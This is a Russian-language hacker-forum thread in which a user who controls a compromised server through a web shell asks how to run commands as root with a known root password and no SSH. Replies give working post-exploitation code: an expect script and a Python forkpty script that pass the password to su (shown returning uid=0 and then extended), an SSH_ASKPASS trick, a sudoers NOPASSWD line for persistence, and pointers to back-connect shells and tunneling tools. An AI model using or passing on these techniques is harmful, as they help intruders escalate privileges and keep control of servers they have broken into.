Старый 26.01.2015, 12:46   #1
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию выполнение команд от рута через вебшелл

есть рутовый пароль, как выполнить команду от рута, при условии, что SSH недоступен?

нагуглил вариант c sudo:
Код:
echo "mycoolpassword" | sudo -S -u root whoami
- не работает, т.к. sudo хочет пароль от текущего юзера, а не рута.
// кстати, где, кроме opensuse, sudo требует пароль рута, а не юзера? (параметр "Defaults targetpw" в /etc/sudoers)

нагуглил вариант с expect:
Код:
#!/usr/local/bin/expect --
 set timeout -1
 spawn /bin/su - root
 expect "Password: "
 send "mycoolpassword\r"
 expect "\r\n"
 send "whoami\n"
- не проверял, на сервере не установлен expect.

какие ещё методы есть?
12309 вне форума   Ответить с цитированием
Старый 26.01.2015, 13:28   #2
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

решил вопрос интерактивным бэкконнектом от ont https://rdot.org/forum/showpost.php?p=15855&postcount=11
если есть ещё методы - вэлкам

Последний раз редактировалось 12309; 26.01.2015 в 13:30..
12309 вне форума   Ответить с цитированием
Старый 26.01.2015, 14:13   #3
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Цитата:
sudo хочет пароль от текущего юзера, а не рута.
Логично же, ведь sudo использует группу для предоставление полномочий рута а не сам свич как su (switch user)
для su придется поднимать бэк с tty
b3 вне форума   Ответить с цитированием
Старый 26.01.2015, 14:21   #4
Abadd0N
 
Регистрация: 04.11.2011
Сообщений: 29
Репутация: 0
По умолчанию

Могу посоветовать проксик на различных ЯП:
https://github.com/sensepost/reGeorg
А там уже через этот проксик во внутренней сети можешь и на ссш ломиться.
Abadd0N вне форума   Ответить с цитированием
Старый 27.01.2015, 11:48   #5
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

через ssh локально на 127.0.0.1 - http://pentestmonkey.net/blog/ssh-with-no-tty
Цитата:
$ cat /tmp/returnpassword.sh
#!/bin/sh
echo 'some password' </dev/null
$ DISPLAY=:0 SSH_ASKPASS=/tmp/returnpassword.sh ssh root@localhost id
если руту на ссш разрешено подключаться.
tex вне форума   Ответить с цитированием
Старый 27.01.2015, 12:45   #6
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

я неправильно сформулировал первое сообщение - ssh там в принципе нет.
12309 вне форума   Ответить с цитированием
Старый 27.01.2015, 12:57   #7
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

код на python нагуглился сразу
Цитата:
import pty
import os
import sys
import time

pid, fd = os.forkpty()

if pid == 0:
os.execlp("su","su","root","-c","id")

print os.read(fd, 1000)
os.write(fd,"PASSWORD\n")
time.sleep(1)
print os.read(fd, 1000)
os.waitpid(pid,0)
вообще вариантов уйма - все зависит от того что установлено на системе, больше проблема была бы- если бы еще пробросить во вне нельзя ничего было- как то шел с tty на бекконекте
tex вне форума   Ответить с цитированием
Старый 27.01.2015, 21:00   #8
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

можно тупо передавать его через stdin. http://vladz.devzero.fr/002_su-stdin.php
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Старый 15.03.2015, 05:36   #9
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

Как вариант, подправить /etc/sudoers
Код:
user ALL=(ALL) NOPASSWD: ALL
и юзать свой вебшелл
__________________
Анонимный интернет без ограничений https://multi-vpn.biz

Последний раз редактировалось omen666; 15.03.2015 в 05:57..
omen666 вне форума   Ответить с цитированием
Старый 25.07.2015, 18:11   #10
paladin
 
Регистрация: 13.05.2013
Сообщений: 1
Репутация: 0
По умолчанию

код на питоне работает:
Цитата:
[xxxx.org /var/www/cgi-bin]$ python 1.py 'id'
Password:

uid=0(root) gid=0(root) groups=0(root)
единственное, немного доработать
Код:
os.execlp("su","su","root","-c",format(sys.argv[1]))
и
Код:
while True:
    try:
        print os.read(fd, 1024)
    except io.BlockingIOError:
        pass
чтобы при чтении из потока скрипт мог читать больше 1000 байт и не повисал в процессах

Последний раз редактировалось paladin; 25.07.2015 в 18:16..
paladin вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot